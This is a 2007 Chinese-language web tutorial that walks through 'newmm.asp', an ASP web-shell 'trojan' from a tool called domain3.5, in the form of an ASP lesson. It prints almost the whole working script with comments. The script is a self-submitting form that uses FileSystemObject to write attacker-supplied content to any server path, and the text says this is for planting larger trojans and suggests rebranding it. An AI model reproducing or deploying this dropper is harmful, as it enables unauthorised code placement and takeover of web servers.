本类共有 867 篇文章,今日更新 0

DIY.ASP木马分析

[ 来源:http://www.91now.com/down/ | 作者: | 时间:2007-5-18 17:35:19 | 浏览: 人次 ]


今天我给大家分析一下domain3.5中自带的一个newmm.asp木马,大家很熟悉吧 希望对学习asp的有些帮助 

打开原文件,开头的一些样式定义,我就不介绍了,因为和我们的木马功能没什么关系 

先看一下主要静态显示的部分,均通过<%response.write %>输出html部分,直接用html语言写也是可以的,大家可以实验 

1.本文件绝对路径F:\网站\newmm.asp是通过 

<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>这段脚本实现的 

ServerVariables 集合检索预定的环境变量,是一个环境变量的集合 
SCRIPT_NAME 执行脚本的虚拟路径 只是其中的一个,还有的如大家熟悉的remote_addr 
用法:Request.ServerVariables (server environment variable)就是取得预定环境变量的值 

server对象的MapPath 方法将指定的相对或虚拟路径映射到服务器上相应的物理目录上 

最后通过response.write输出,这样就显示出了本文件绝对路径F:\网站\newmm.asp 


2.保存文件的绝对路径(包括文件名:如D:\web\x.asp):这个是通过response对象输出静态html代码实现的 
代码如下: 
<% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>" %> 

3.输入保存的路径 
代码如下: 
输入保存路径:<% Response.Write "<input type=text name=syfdpath width=200 size=81>" %> 
这里主要注意一个name值,这里是syfdpath,程序通过这个变量来传递用户输入文本框的要保存到服务器端的物理路 径,注意要包括文件名 

4.输入文件内容: 
代码如下: 
<% Response.write "输入文件内容:" %> 
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %> 
这里也主要注意一下name的值,它是用来传递你所要提交内容的一个变量 

5.提交 

还有这些<title>ASP木马 Http://WwW.Hkstudy.Com/</title> 
<div align="center">注:此程序只供学习研究。如利用此程序作非法用途,后果自负。 
<a href="http://www.hkstudy.cn/"target="_blank">& ... w.hkstudy.cn</font></a>  
中国菜鸟基地友情修改版。 
都可以修改成自己的,可以个性化 

下面我们主要看一下fso处理部分,这个是关键,我想,表单谁都会构件,具体的处理就不是那么简单了 

这是一个自提交表单处理的一个asp木马 
我们可以从这里看出<% Response.write "<form action=’’ method=post>" %> 
action=’’后是空的,表明是自提交 

以下是处理提交的脚本 

<% dim objFSO %> ’定义objFSO变量,用以表示fso的一个对象 这里是vbs的定义方法,以下雷同 
<% dim fdata %> ’定义fdata变量用以表示取得的用户提交的文件内容 
<% dim objCountFile %> ’定义objCountFile变量用已表示一个stream流的返回对象 
<% on error resume next %> ’容错处理,意思是如果程序出错继续执行的,不报错 
<% Set objFSO = Server.createObject("Scripting.FileSystemObject") %> ’先创建一个fso,然后将fso的对象赋给objFSO变量 
<% if Trim(request("syfdpath"))<>"" then %> ’如果取得的物理路径不为空则继续取得用户提交的文件内容 
<% fdata = request("cyfddata") %> ’trim函数主要是过滤掉提交路径开头和结尾的空格,防止出错 
<% Set objCountFile=objFSO.createTextFile(request("syfdpath"),True) %> ’fso的createTextFile方法根据提交的物理路径在服务器端建立文件,这里必须包含文件名,如果文件存在则覆盖,true这个参数就是这个意思 
<% objCountFile.Write fdata %>’用返回的stream流对象的write方法向建立的文件中写入内容,也就是你要写的大点的木马内容 
<% if err =0 then %> ’出错控制,具体可参考err对象的属性和方法 
’如果没有错误则显示save Success! 
<% response.write "<font color=#FFFF00>save Success!</font>" %> 
<% else %>  
<% response.write "<font color=#FFFF00>Save UnSuccess!</font>" %>’出错控制,如果错误则显示SaveUnSuccess! 
<% end if %> 
<% err.clear %>  
<% end if %> 
<% objCountFile.Close %> ’关闭对象 
<% Set objCountFile=Nothing %> ’清空对象 
<% Set objFSO = Nothing %> 


这样就完成了根据提交的物理路径和内容在服务器端形成了一个我们需要的asp木马文件 
注释我只是简单带大家看了下,可以再花时间翻番手册

广告位